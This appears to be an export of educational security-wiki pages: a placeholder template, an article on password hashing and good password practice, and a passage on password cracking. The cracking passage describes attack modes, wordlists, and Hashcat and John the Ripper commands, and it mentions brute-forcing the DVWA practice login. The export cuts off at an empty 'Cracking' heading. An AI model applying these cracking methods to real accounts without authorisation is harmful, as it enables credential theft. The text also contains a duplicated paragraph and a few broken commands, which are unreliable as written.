Description what this documentation is about.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

File:Bild1.png

2023-02-15T22:55:44Z

EPelanovic: EPelanovic uploaded a new version of File:Bild1.png

Password Security

2023-01-06T23:47:29Z

EPelanovic:

== Summary ==

This documentation provides advice about secure passwords. It covers known problems with passwords and elaborates various solutions for secure password creation and usage. The issue "bad passwords" is the number 1 vulnerability in the Internet-of-Things (IoT)[1].

Nowadays, whenever a service or platform online need to be accessed, a username and password was needed. Thus, anyone in possession of these credentials can access the account. In this day and age, although they are no longer the only means of protection, they are the first line of defense for our data, which is why we need to set them up all the better.

== Password Storage ==

The passwords which were entered during registration are usually stored in a database. Accordingly, these also belong protected from attackers. To protect the database from unauthorized access, firewalls are placed in front of the databases. Additional protection is provided by role definitions, which determine who has access to the database. However, these protective measures will not be sufficient. In case of unwanted access to the database, we must ensure that the passwords present there are in a non-readable (encrypted) format.

The passwords which were entered during registration are usually stored in a database. Accordingly, these also belong protected from attackers. To protect the database from unauthorized access, firewalls are placed in front of the databases. Additional protection is provided by role definitions, which determine who has access to the database. However, these protective measures will not be sufficient. In case of unwanted access to the database, we must ensure that the passwords present there are in a non-readable (encrypted) format.

If we now take a password (e.g.: "myPassword") and apply the SHA-1 function to it, for example, it looks like this:

* echo -n "myPassword" openssl sha1

<b>Output:</b>

[[File:Hash.PNG|250px]]

Such a value is now stored in the database. When the user logs in again, the password is hashed again and compared with the stored value in the database. If both values match, the user will be logged in. If not, the attempt fails.

If an attacker gains access to the database, he cannot do much with it at first. As with encryption, it is not possible to infer the password from a key. Only a guess is be possible. The attacker would have to know the password, hash it and then compare it. So only guessing is possible.
This is because cryptographic hash functions have the following important properties:
*Each hash has the same length (40 characters), regardless of the length of the file or string.
*Therefore, it is not possible to infer the length of the original password from the length of the hash value.
*Likewise, it is impossible to infer other properties of the original password. For example, it cannot tell how many vowels, special characters, or whether some characters occur more than once.
*This also implies that hash values for similar words are unpredictably different anyway. The hash for "hello" is different from the hash for "hallo".
*It also follows from all these properties that for a given hash value, for a given hash function, there is not just one original password that generates that hash value, but any number of them. The technical term is "collision". In practice, one wants to have as few of these as possible.
*To better avoid collisions, "salting" was introduced. A salt is a randomly selected character string that is appended to a plaintext password before it is processed further. This is to increase the entropy even more.

== Problems with Passwords ==

There are several more or less widely known bad habits regarding passwords.

=== Mistakes by choosing Passwords ===

'''Personal information''' is used to create passwords which is a popular target for social engineering (names, dates, etc.), due to the limitation of the capacity a human can remember. Often '''standard passwords''' like "123456" or "password" are used. Actually, "123456" has been the most used password for the last years [2]. The re-use of passwords is one of the main challenges: many users use the '''same password for various accounts'''. It should be obvious that it is not a good idea to use the same password for online banking and for an Adobe account. The quality of a password depends on how long a attacker needs to find the correct one.

=== Password Entropy and Quality ===
A lot of studies suggest to take '''Password Entropy''' to meassure the efficiency of a password. A higher entropy indicates a secure password, where less entropy indicates a less secure passwords. Entropy is the amount of information held in a password. The more ''information'' is in your password the more time a hacker has to invest to crack the password. To get a higher entropy you should use more and different characters.

Character Set 1: 26 lower case letters: abcdefghijklmnopqrstuvwxyz

Character Set 2: 26 upper case letters: ABCDEFGHIJKLMNOPQRSTUVWXYZ

Character Set 3: 10 digit characters: 01234567890

Character Set 4: 31 special characters: ~!@#$ %^&*()_-+= {}∣[] \:“<>?;',. /

=== Keeping Passwords safe ===

One of the biggest problems is still keeping our private passwords safe. The rule is that for every online service a different password is recommended. Only a few people manage to remember all their passwords. Even if they are chosen according to the rules. Therefore, the majority of users choose simple passwords, which are easy to remember but also easy to crack. For seven years now, the most frequently chosen password has been "123456" and "password".

Fortunately, we can easily outsource this work to so-called password managers, which serve as our safe vaults and do the work for our memory. A password manager gives us the ability to create a secure password for ourselves and store it in its database. A password can be created for each online service for which we need a password. This can be inserted automatically when the website is called. The entire database is protected by a so-called "master password", which we must remember. Accordingly, this password should then also be chosen securely. In addition, there is also a protection via a second factor, which once again strengthens the security.

A password manager also has its disadvantages. Most password managers are associated with a cost factor. Another disadvantage can arise if the user forgets the master password. This can cause all stored passwords to be lost forever.
When choosing a password manager, one should be aware that the control over the security of the passwords is no longer with the user, at least this is not the case with all manufacturers. If the manufacturer of the password manager is attacked and hacked, the attacker has access to all passwords. Likewise, one trusts the manufacturer that the corresponding software also has no security gaps and the manager is considered secure.

== Good Passwords ==

There are 3 general aspects to good passwords: the length plays a main role, the password must not be trivial, and the password must be easily memorized. Leet speak (i.e. replacing certain letters with associated numbers, e.g. "p455w0rd") is not a good idea because meanwhile all password crackers know leet speak.

=== Good Password Checklist ===

* Minimum length of 12 characters
* Contains lower & upper case letters, digits, and special characters
* As random as possible
* Easy to remember

=== How to Create a Good Password ===

* Think about your favorite lines of a song, poem, or movie, etc. Take the first letters and special characters to create your password.

Here's an example:
Are you lonesome tonight?
Do you miss me tonight?
Are you sorry we drifted apart?

The resulting password might be: Ayl2n?Dymm2n?Ayswda?

* Think about approx. 4 different words which make sense for you but in general, the combination does not make any sense at all. Meaningful sentences are no good passwords.

Here's an example:
Concrete
Ocean
Mouse
Egg

You'll have to add a special character and a digit. The resulting password might be: ConcreteOcean4MouseEgg!

Also GRC Haystack can by used to check how quick a password can be cracked. Just type in a custom password and the tool will show several attack scenarios like it was shown in the figure below. [https://www.grc.com/haystack.htm]

[[File:Haystack.PNG|500px]]

== Further Advice for a Secure Password Usage ==

=== Password Manager ===

The use of a password manager solves the problem to remember numerous different passwords for various accounts. You have one file containing all your passwords which is secured by one strong password. Our recommended password managers are open source, free of charge, and platform-independent.

Recommended password managers:

* KeePass XC - https://keepassxc.org/
* KeePass - https://keepass.info/
* Lastpass - https://www.lastpass.com/

=== Differences ===

<div class="card-content">
<div class="content">
<div class="table-container">
<table class="wikitable" style="background-color: white; margin-left: 0px; width: 100%">
<tr>
<th></th>
<th>Keepass</th>
<th>Lastpass</th>
</tr>
<tr>
<th style="text-align: center;">Security & Encryption</th>
<td style="text-align: center;">AES-256, ChaCha20 and Twofish</td>
<td style="text-align: center;">AES-256, Cloud Storing</td>
</tr>
<tr>
<th style="text-align: center;">App Compatibility</th>
<td style="text-align: center;">Mobile and Web</td>
<td style="text-align: center;">Mobile and Web</td>
</tr>
<tr>
<th style="text-align: center;">Usability and Ease of Use</th>
<td style="text-align: center;">Complex UI</td>
<td style="text-align: center;">More user-friendly UI, easy installation</td>
</tr>
<tr>
<th style="text-align: center;">Password Sharing</th>
<td style="text-align: center;">Allows shared Database (for small teams)"</td>
<td style="text-align: center;">Allows Password Sharing (department-wide), easy handling</td>
</tr>
<tr>
<th style="text-align: center;">Price</th>
<td style="text-align: center;">Open-Source"</td>
<td style="text-align: center;">Various price models (starts with 3$)</td>
</tr>
</table>
</div>
</div>
</div>

=== Two-Factor Authentication ===

Two-Factor Authentication requires a second authentication method besides the password, e.g. Google Authenticator [3] which provides a 6-digit code for each login. A second authentication factor might also be a biometric factor (e.g. fingerprint). You also might use a crypto token (e.g. a Yubico key [4]).

=== Some more Tips ===

<div class="card-content">
<div class="content">
<div class="table-container">
<table class="wikitable" style="background-color: white; margin-left: 0px; width: 100%">
<tr>
<td style="text-align: center;">1.</td>
<td style="text-align: center;">Unique password for every application you log on to</td>
</tr>
<tr>
<td style="text-align: center;">2.</td>
<td style="text-align: center;">The longer the password, the better</td>
</tr>
<tr>
<td style="text-align: center;">3.</td>
<td style="text-align: center;">Different characters can always be used</td>
</tr>
<tr>
<td style="text-align: center;">4.</td>
<td style="text-align: center;">Use complex passwords (mix of numbers, lower and upper case letters and special characters)</td>
</tr>
<tr>
<td style="text-align: center;">5.</td>
<td style="text-align: center;">Passwords can be tested for their omplexity</td>
</tr>
<tr>
<td style="text-align: center;">6.</td>
<td style="text-align: center;">Users should always log out of application</td>
</tr>
<tr>
<td style="text-align: center;">7.</td>
<td style="text-align: center;">Use password manager</td>
</tr>
<tr>
<td style="text-align: center;">8.</td>
<td style="text-align: center;">Enable 2-factor authentication wherever possib</td>
</tr>
</table>
</div>
</div>
</div>

== Courses ==

* [[Workshops]] (2017, 2018, 2019, 2020)

== References ==

* [1] https://www.owasp.org/images/1/1c/OWASP-IoT-Top-10-2018-final.pdf
* [2] https://metro.co.uk/2019/12/19/10-worst-passwords-2019-revealed-nothing-changed-11932281/
* [3] https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=de_AT
* [4] https://www.yubico.com/authentication-standards/fido-u2f/

[[Category:Basic]]

File:Hash.PNG

2023-01-06T23:17:36Z

EPelanovic:

Password Cracking

2023-01-06T23:06:57Z

EPelanovic:

<div style="max-width: 970px; text-align: justify">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

<h1>Summary</h1>
<p style="text-align: justify">This articles provides the required knowledge in the field of <i>key recovery</i>. It gives the reader a brief [[#Introduction|introduction]] to password cracking in general. It also provides [[#Background|background]] information about common [[#Password Attacks|password attacks]], [[#Attack Modes|attack modes]] and cracking [[#Miscellaneous Tools|tools]]. The article goes into more detail about the popular tools [[#John the Ripper|John the Ripper]] and [[#Hashcat|Hashcat]]. Furthermore presenting a [[#Procedure|general guideline]] for offline password cracking. See also [[#Related|Related Articles]]. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.</p>

<h1>Introduction</h1>
Password cracking or Password recovery is used in IT-Security and Cryptanalysis to recover passwords or digital keys in general, which are the most critical part of a digital identity that is associated with a specific service. To acquire such digital keys, common Password Attacks are employed to infer the corresponding key. Other techniques, like social engineering or dumpster diving, are also possible in some scenarios. Keys are unspaced sets of characters that allow to authenticate against a given security mechanism in order to gain access to data, programs, or secured systems. However, these techniques could also be used to gain unauthorized access to a remote system.

Once a key has been recovered, it can subsequently be used to undermine a digital authentication process, which provides privacy protection by mitigating risks of unauthorized access to individuals’ information. In other words, a key must be kept secret by a claimant, humanoid or not, while the verifier confirms the claimant’s identity. Additionally, choosing a strong password is crucial to prevent cracking and render recovery impossible. Furthermore, a Multi-factor (MFA) or Two-factor authentication (2FA) is recommended, since a claimant has to provide more factors to the verifier than just one key, which are something the claimant knows (knowledge), has (possession) or is (inherence), whereby a password recovery becomes pointless without knowing of the factors possession or inherence. [P1]

It should be noted that keys can be available in various forms. On the one hand, clear-text passwords can be transmitted over the network or stored locally, which then only needs to be intercepted or found. On the other hand, passwords can also appear in encoded, hashed or obfuscated forms. The latter differs in that the obfuscated password is brought back to its original form with the appropriate reverse algorithm. In contrast, a hashed password benefits from the one-way properties of the algorithm used and can only be concluded by hashing guessed password repeatedly and comparing them to the target hash until the original password or any rare hash collision has been found. In the following, only hashed keys are treated.

In order to be able to conclude on the original keys, high computing power is needed. Calculations can be done either by using CPUs with a small number of cores that have been developed for the sequential execution of processes. Alternatively, by using GPUs, which have a very high number of cores working in parallel, making them theoretically ideal for password cracking. The time to crack a password depends on its entropy, measured by the bit strength of a password and as well as the password length forming the target keyspace.

<h1>Background</h1>

<h2>Password Attacks</h2>
Password attacks can be performed in two ways. On the one hand, in the case of online attacks, designated system interfaces are used to try out passwords and, on the other hand, offline attacks in which hashed passwords were obtained via other channels and then processed locally at any time. Online attacks are much slower because the calculations are performed by the target, while the latency of the network link also plays an important role. Furthermore, such attacks could be detected and prevented by the attacked systems. Examples would be attacks on SSH or any web-based login form. On the other hand, offline attacks can no longer be detected after the hashes have been obtained and can be carried out highly effective since only hashes are calculated and compared here, but no further communication or processes between systems or the like are required.

As it is common in most areas of life, there is not only black and white but also the grey zone in between. For this reason, it should be noted that there are also non-electronic attacks on passwords, such as dumpster diving or social engineering. But also more drastic but highly effective ways like Coercion by the government or Rubber-hose cryptanalysis (torture) can be taken, in which the human factor as the weakest link in the chain is attacked. This work is focused on offline attacks, and no human nor animal has been harmed during this work. See also [[Password Security]].

<h2>Attack Modes</h2>
The following paragraphs present the most common modes used with password attacks.

<b>Brute-force</b> attacks try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored. Every hashed password is compared to the target hash on the fly until a match, and thus also a valid password has been found. This may be the original password or any rare hash collision. The success probability is given if the target password is in the known keyspace. However, for this attack, an extremely high computing power is needed to reach the target in a reasonable time.

<b>Dictionary</b> attacks are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence. The advantage is that one can quickly cover the most common passwords, so that these kinds of attacks are very effective, as many users use common weak passwords which are easy to remember. This can easily be fought by using passwords without underlying semantics. The best-known wordlist is the rockyou.txt, which contains 32 million passwords. Its content originates from a data leak of the company RockYou from the year 2009, who stored their passwords in clear-text.

<b>Rainbow</b> attacks are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function. This variant results in a time-memory trade-off, where the process is faster since only comparison operations have to be performed, but this is only effective if the rainbow-table is stored in RAM, furthermore rainbow-tables take up more space on the hard disk than wordlists. The use of a key derivation function that uses a salt makes this attack infeasible.

<b>Hybrid</b> attacks combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password ist known. An example would be the use of the word ’password’ combined with all numbers from 0 to 9999. This is also very useful with usernames of com- panies using simple rules like an identifying string combined with an incrementing number. (e.g. Pass1234)

<b>Rule-based</b> attacks use methods to change passwords to cover all variants. It is a very flexible and efficient attack, but also very complicated to cover all desired cases. Ideal if the password requirements for a system are known, since passwords shall be easy to remember while being secure at the same time, many users use common passwords and modify them in a way that they match the password policy. (e.g. ’P@ssw0rD’)

<b>Syllable</b> attacks are again a combination of brute force and dictionary attack in which all permutations of each word within a wordlist are checked. This is used when the password is not a real word and is often better than pure brute-forcing.

<b>Other</b> attacks, like Combinator, Fingerprint, Mask, Toggle-Case, Permutation, Table- Lookup, PRINCE may be similar to the ones noted above and shall be mentioned but are not covered in any detail here.

<h2>Wordlists</h2>
Wordlist aka. dictionary attacks are often the first step to take when cracking passwords, since most users use common passswords or mutations of those. Besides the classic <code>rockyou.txt</code>, there are tons of wordlists for different use cases. For this purpose [https://weakpass.com weakpass.com] may be used used, which offers a great collection. Based on GeForce GTX 1060 6GB benchmark and [https://www.netmux.com/ Hash Crack] by [https://twitter.com/netmux Netmux], the following table can be mostly been respected as general guideline to select worldlists for initial runs.

<div class="card-content">
<div class="content">
<div class="table-container">
<table class="wikitable" style="background-color: white; margin-left: 0px; width: 100%">
<tr>
<th>Example Hashtype</th>
<th>Avg Speed</th>
<th>~10 min</th>
<th>~1 hour</th>
<th>~3-4 hours</th>
</tr>
<tr>
<td>MD5, NTLM, SHA(1-256), MySQL</td>
<td>>5000 MH/s</td>
<td>[https://weakpass.com/wordlist/1851 hashesorg2019]</td>
<td>[https://weakpass.com/wordlist/1863 weakpass_2]</td>
<td>[https://weakpass.com/wordlist/1919 weakpass_2a]</td>
</tr>
<tr>
<td>md5apr1, md5crypt</td>
<td>5000 kH/s</td>
<td>[https://weakpass.com/wordlist/1851 hashesorg2019]</td>
<td>[https://weakpass.com/wordlist/1863 weakpass_2]</td>
<td>[https://weakpass.com/wordlist/1919 weakpass_2a]</td>
</tr>
<tr>
<td>WPA/WPA2,sha256crypt</td>
<td>200 kH/s</td>
<td>[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]</td>
<td>[https://weakpass.com/wordlist/1802 HashesOrg]</td>
<td>[https://weakpass.com/wordlist/1851 hashesorg2019]</td>
</tr>
<tr>
<td>PBKDF2, bcrypt, sha512crypt</td>
<td><5 kH/s</td>
<td>[https://weakpass.com/wordlist/545 dazzlepod]</td>
<td>[https://weakpass.com/wordlist/90 rockyou.txt]</td>
<td>[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]</td>
</tr>
</table>
</div>
</div>
</div>

Wordlist can also be created using web scraper, like the [https://github.com/digininja/cewl Custom Wordlist Generator] (<code>CeWL</code>). Alternatively <code>john</code> can be used to create wordlists. In the following examples the rules single and wordlist are used to generate all possible mutations and permutations from a source wordlist.

<source lang="bash">john -wordlist="source_wordlist.txt" -rules=Single,Wordlist -stdout > "single_wordlist.txt"</source>

<h2>John the Ripper</h2>

John the Ripper acronyms for John or JtR is a popular open-source password cracker from the Openwall developers. Historically, the main use has been to find weak UNIX passwords. To this day, john has been evolved to be fast and rich in features. John has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks. It should be noted that john even provides the ability to define custom cracking modes using a built-in C compiler. The developers provide additional variants like a commercial John the Ripper Pro version and Hash Suite, which is recommended when using Android or Windows. Besides the above-mentioned programs, there is also a graphical version of John named [https://openwall.info/wiki/john/johnny Johnny], for those who are not friends of the console, that is available for Linux, macOS, and Windows.

Furthermore John offers some support for CUDA and OpenCL [https://openwall.info/wiki/john/GPU GPUs]. Whereas, CUDA is a parallel computing platform and programming model developed by NVIDIA for general computing on graphical processing units (GPUs). With CUDA, developers are able to dramatically speed up computing applications by harnessing the power of GPUs. OpenCL (Open Computing Language), on the other hand, is a low-level API for heterogeneous computing that runs on CUDA-powered GPUs. Using the OpenCL API, developers can launch compute kernels written using a limited subset of the C programming language on a GPU. [W7] No official numbers have been found regarding the number of supported hash algorithms for john, but there are over 2000 difference algorithms included in the jumbo version. Many of the algorithms under john are combinations of algorithms. These combinations are identified by the foreword dynamic_ and a subsequent number. Such combinations only appear in the jumbo version and have been added by the community.

Implementations exist for many UNIX-based systems such as Linux, macOS, Android, and Solaris, as well as for Windows. But also for more exotic devices running under DOS, BeOS, or OpenVMS. The resources are provided as pre-compiled binaries or as source code. The latter can then be adapted as desired and compiled for a specific system. A basic version of John can be installed using package managers such as apt, pkg, or snap. However, it is recommended to choose the community enhanced-jumbo version, which offers support for a variety of additional password hash types as well as non-hashes like SSH private keys, RAR archives, or PDF files. The following listing provides the necessary steps to clone and build latest bleeding-edge Jumbo version of John on most UNIX-based system. Source files for all versions could also be downloaded from [https://download.openwall.net/pub/projects/john/ Openwall.net]. See also [[Password cracking on Android]].

<source lang="bash">
# Clone GIT repository
git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john 3
# Build
cd ./john/src && ./configure && make -s clean && make -sj4
</source>

<h2>Hashcat</h2>

Hashcat is yet another very popular cross-platform cracking tool, whose developers claim to have developed the world’s fastest and most advanced open-source password recovery utility. Since [https://hashcat.net/wiki/ Hashcat] version 3, the old CPU-based hashcat-legacy and GPU-based oclHashcat have been merged. The tool allows to use all OpenCL compatible processors of the same device in parallel and even work distributed over the network. Hashcat supports five unique attack modes for more than 200 highly optimized hash algorithms.

Hashcat currently supports CPUs, GPUs, and other hardware accelerators such as DSPs, FPGAs, and co-processors in Linux, Windows, and macOS, as well as distributed password decryption functions. Almost all of this information and much more can be found on the Hashcat man page, which is one of the best that I have seen so far. Hashcat can be downloaded via package manager like `apt` under Linux or `brew` on macOS. But here it is recommended to download the source files again and build it manually. Compared to john, however, fewer platforms are supported here. The processors available for each platform can be listed using the `-I` or `–opencl-info` flag. These may need the corresponding drivers for Intel, AMD, or NVIDIA to be addressed correctly. This process will not be successful on every platform.

<source lang="bash">
# Clone GIT repository
git clone https://github.com/hashcat/hashcat.git
# Build
cd ./hashcat && make && make install
</source>

=== Basic Usage ===
The core syntax of hashcat is as follows:

==== hashcat -a <$attack mode> -m <$hash_algorithm> <$hash (stdin/file)> <$dictionary> ====

<b>$hash</b> and <b>$dictionary</b> are your target hashes and dictionary/wordlist file. We’ll touch on the other parts below.

=== Hashing Algorithms ===

This is the type of hash you’re trying to crack. Hashcat supports hundreds of hashes and the chosen hash mode needs to be stated for hashcat to know what to attack. The modes can be found using <b>hashcat ‐‐help</b> (note: hashcat cannot attack multiple hash types in a single session but there are other tools that can). Recent versions of hashcat also support hash auto-detection if <b>-m <$mode></b> isn’t passed, however as several hash types are constructed similarly, false positives can occur and therefore it isn’t encouraged.

For example, MD5 would be <b>-m 0</b>, SHA1 would be <b>-m 100</b> and so on.

[[File:Hashing Algorothms Hashcat.png|500px]]

=== Attack Modes ===

This is the type of password attack you’d like to carry out. Dictionary (referred to as ‘Straight’ in hashcat) is attack mode 0. This is also the default attack type and doesn’t need to be explicitly added if a dictionary attack is being performed. Hashcat’s supported attack modes are shown below and again can also be found by using <b>hashcat ‐‐help</b>. This post is only going to cover dictionary attacks, however, future guides might address more.

[[File:Attack Modes Hashcat.png|250px]]

=== Rules ===

If an attack does not lead to a successful result, the individual words can be changed using rules. The rules correspond to typical patterns of how people form passwords.
Simple rules can be:

*First letter capitalized
*Known words written from back to front
*Appending a number from 0-9 to the end of a word
*Appending a year like 1900-2020 to the end of a word
*Conversion to LeetSpeak (e.g. <password> --> p455w0rd)

Rules are configured under <b>"usr/share/hashcat/rules/best64.rule"</b>.
These are passed to hashcat with the -r option.

=== Character Set ===

If the correct password can not be determined even with these modifications, a brute force attack is usually resorted to. For this purpose, the character space can be restricted by specifying the number of characters and the respective character type.

<div class="card-content">
<div class="content">
<div class="table-container">
<table class="wikitable" style="background-color: white; margin-left: 0px; width: 100%">
<tr>
<th>Character Set</th>
<th>Character</th>
</tr>
<tr>
<td style="text-align: center;">l</td>
<td style="text-align: center;">Lower case letters</td>
</tr>
<tr>
<td style="text-align: center;">u</td>
<td style="text-align: center;">Upper case letters</td>
</tr>
<tr>
<td style="text-align: center;">d</td>
<td style="text-align: center;">Digits 0-9</td>
</tr>
<tr>
<td style="text-align: center;">h</td>
<td style="text-align: center;">Digits 0-9 + "abcdef"</td>
</tr>
<tr>
<td style="text-align: center;">H</td>
<td style="text-align: center;">Digits 0-9 + "ABCDEF"</td>
</tr>
<tr>
<td style="text-align: center;">s</td>
<td style="text-align: center;">special characters</td>
</tr>
<tr>
<td style="text-align: center;">a</td>
<td style="text-align: center;">?l?u?d?s</td>
</tr>
<tr>
<td style="text-align: center;">b</td>
<td style="text-align: center;">0x00 - 0xff</td>
</tr>
</table>
</div>
</div>
</div>

<h2>Performance Comparison</h2>

Below is a performance comparison between John the Ripper and hashcat. The tools were tested under Kali Linux in VMware with four processors. An NVIDIA GTX 1080 graphics card was used for the system. "hashcat" shows the clear performance difference in the table below.

<div class="card-content">
<div class="content">
<div class="table-container">
<table class="wikitable" style="background-color: white; margin-left: 0px; width: 100%">
<tr>
<th>System</th>
<th>Speed [Hashes/sec]</th>
</tr>
<tr>
<td style="text-align: center;">John the Ripper (CPU with 4 Cores)</td>
<td style="text-align: center;">21.552</td>
</tr>
<tr>
<td style="text-align: center;">hashcat (NVIDIA GTX 1080)</td>
<td style="text-align: center;">24.943.000.000</td>
</tr>
</table>
</div>
</div>
</div>

Also GRC Haystack can by used to check how quick a password can be cracked. Just type in a custom password and the tool will show several attack scenarios like it was shown in the figure below. [https://www.grc.com/haystack.htm]

[[File:Haystack.PNG|500px]]

<h2>Miscellaneous Tools</h2>

There is no black and white, and all tools have their strengths as well as their weaknesses. Also, combinations between some are quite useful. This section consists mostly of descriptions of the individual developers as they can best introduce themselves and as this section is only intended to introduce further tools. Written-off paragraphs are marked with a footnote. Here the Kali Linux knowledge-base [W2] has been referenced, which in turn refer to the developers’ websites and Github repositories, as well as giving short usage examples. The following examples have been selected by versatility and range of application to present other great tools besides Hashcat and John. aircrack-ng suite to analyze and attack wireless networks. THC-Hydra, an online login cracker and the alternative ncrack for our nmap lovers, Medusa is be the third in line. WFuzz, the web application cracker and last but not least RainbowCrack which uses rainbow tables to crack passwords.

<h3>Aircrack-ng</h3>

[https://tools.kali.org/wireless-attacks/aircrack-ng Aircrack-ng] is an 802.11 Wired Equivalent Privacy (WEP) and Wifi Protected Access pre-shared key (WPA-PSK) cracking program that can recover keys once enough data packets have been captured. It implements the standard Fluhrer, Mantin, and Shamir (FMS) attack along with some optimizations like KoreK attacks, as well as the all-new Pychkine-Tews-Weinmann (PTW) attack, thus making the attack much faster compared to other WEP. However, Aircrack-ng is much more than just a cracking program.

The developers offer a versatile application suite for analyzing and attacking wireless networks. `aerodump-ng` even makes it possible to capture packets in a wireless network, and then attack contained handshakes of a WPA/WPA2-PSK using Hashcat or John efficiently. See also [[WPA/WPA2 PSK deauthentication attack]].

<h3>THC Hydra</h3>

[https://tools.kali.org/password-attacks/hydra THC Hydra] is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.

Hydra can be used to start an Brute-Force Attack on the Login from on the <b>"Damn Vulnerable Web Application (DVWA)"</b>. DVWA is a PHP/MySQL web application, whose main goal is to be an aid for security professionals to test their skills and tools in a legal environment. Also this tool should be available by default in Kali Linux.

The figure below shows the Login form of DVWA:

[[File:DVWA BruteForce.jpg|500px]]

The command can be adjusted depending on the login form. An attacker usually proceeds here by looking at the source code of the website with the network analyzer and adapting his command to the login forms accordingly. For the DVWA web application the appropriate command to execute such an attack will be shown in the <b>"Example"</b> section below.

Also following Youtube video can help to get through this attack: [https://www.youtube.com/watch?v=mYvR15WP9Og]

<h3>ncrack</h3>

[https://tools.kali.org/password-attacks/ncrack Ncrack] is a high-speed network authentication cracking tool. It was designed using a modular approach, a command-line syntax similar to Nmap, and a dynamic engine that can adapt its behavior based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s, and many more.

At this point should be noted that Nmap itself can be used for simple online attacks, by using the -script parameter with the desired script like telnet-brute.nse and the corresponding values for userdb and passwd with the additional parameter -script-args. See also [[Brute-Force with NMAP]]

<h3>WFuzz</h3>

[https://tools.kali.org/web-applications/wfuzz Wfuzz] (the web fuzzer) is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc.), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc.), bruteforce Forms parameters (User/Password), Fuzzing, etc.

<h3>Rainbow Crack</h3>

Hashcat nor john are capable of performing rainbow attacks. This is were [https://tools.kali.org/password-attacks/rainbowcrack RainbowCrack] comes into the game. An alternative tool to perform rainbow attacks is Ophcrack, a free Windows (LM and NTLM) password cracker which also provides a GUI, and WOphcrack, a PHP based web frontend for Ophcrack.

RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables. RainbowCrack uses a time-memory tradeoff algorithm to crack hashes. A time-memory tradeoff hash cracker needs a pre-computation stage. At the time, all plaintext/hash pairs within the selected hash algorithm, charset, plaintext length are computed, and results are stored in files called rainbow table. It is time-consuming to do this kind of computation. But once the one-time pre-computation is finished, hashes stored in the table can be cracked with much better performance than a brute force cracker.

<h1>Procedure</h1>

This Chapter provides a basic guideline for offline password cracking. It is intended for scenarios, where the analysist is presented with a hashed password.

<h2>Identification</h2>

First, the according hashing algorithm must be identified. the In a nutshell there are there are three componenents used for manual hash identification:

# '''Special Characters'''
# '''Character Set'''
# '''Length of the Hash'''

There are automated tools for the terminal or online that perform the identification based on HEX encoded hashes. But it is always only about guessing and probability, since f.e. cascaded algorithms cannot simply be identified. This should be used in combination with manual identification.

<table style="margin-left:15px">
<tr>
<th> Offline </th>
</tr>
<tr>
<td>

<ul>
<li>hashid</li>
<li>hash-identifier</li>
<li>john</li>
</ul>

</td>
</tr>
</table>

<table style="margin-left: 15px">
<tr>
<th> Online </th>
</tr>
<tr>
<td>

<ul>
<li>[https://md5hashing.net/hash_type_checker md5hashing.net]</li>
<li>[https://www.onlinehashcrack.com/hash-identification.php onlinehashcrack.com]</li>
<li>[https://hashes.com/en/tools/hash_identifier hashes.com]</li>
</ul>

</td>
</tr>
</table>

The passwords must first be sanitized and decoded, if necessary. The goal is to get a HEX string in the next step. <code>0x</code> may be used to indicate HEX, but is not important and can be discarded. Furthermore the special characters <code>:</code> and <code>$</code> are commonly used as delimiter between salt and digest and are not part of the charset. For all passwords which are not of the charset [a-fA-F0-9] a BASE64 encoding, with the charset [A-Za-z0-9+/], was used. Base{16,32,64} encoding is usually recognized quickly due to one or two trailing <code>=</code>, which are used for padding. The Base{16,32,64} encoding format and charset is described in [https://www.rfc-editor.org/rfc/rfc4648.txt RFC4648]. In this scenario BASE64 and HEX encoding should be the only ones that are used. Mind the <code>-n</code> with the <code>echo</code> command in oder to supress adding a trailing <code>\n</code>. The hashcat [https://hashcat.net/wiki/doku.php?id=example_hashes example hashes] or the <code>john --list=format-details</code> can be used as a reference for manual identification. If there is information about the system that creates or uses the hashes, its documentation could be consulted. Below some helper commands for manual hash identification.

<source lang="bash"># ASCII to Base64
echo -n $STRING | base64
# Base64 to ASCII
echo -n $BASE64 | base64 -d
# ASCII to HEX
echo -n $STRING | xxd -pu
# String length
echo -n $STRING | wc -c
# HEX encoded String bit length
echo $((`echo -n $HEX_ENCODED_STRING | wc -c` / 2))
echo -n $HEX_ENCODED_STRING | perl -lpe '$_=unpack"B*"' | wc -c</source>

<h2>Cracking</h2>
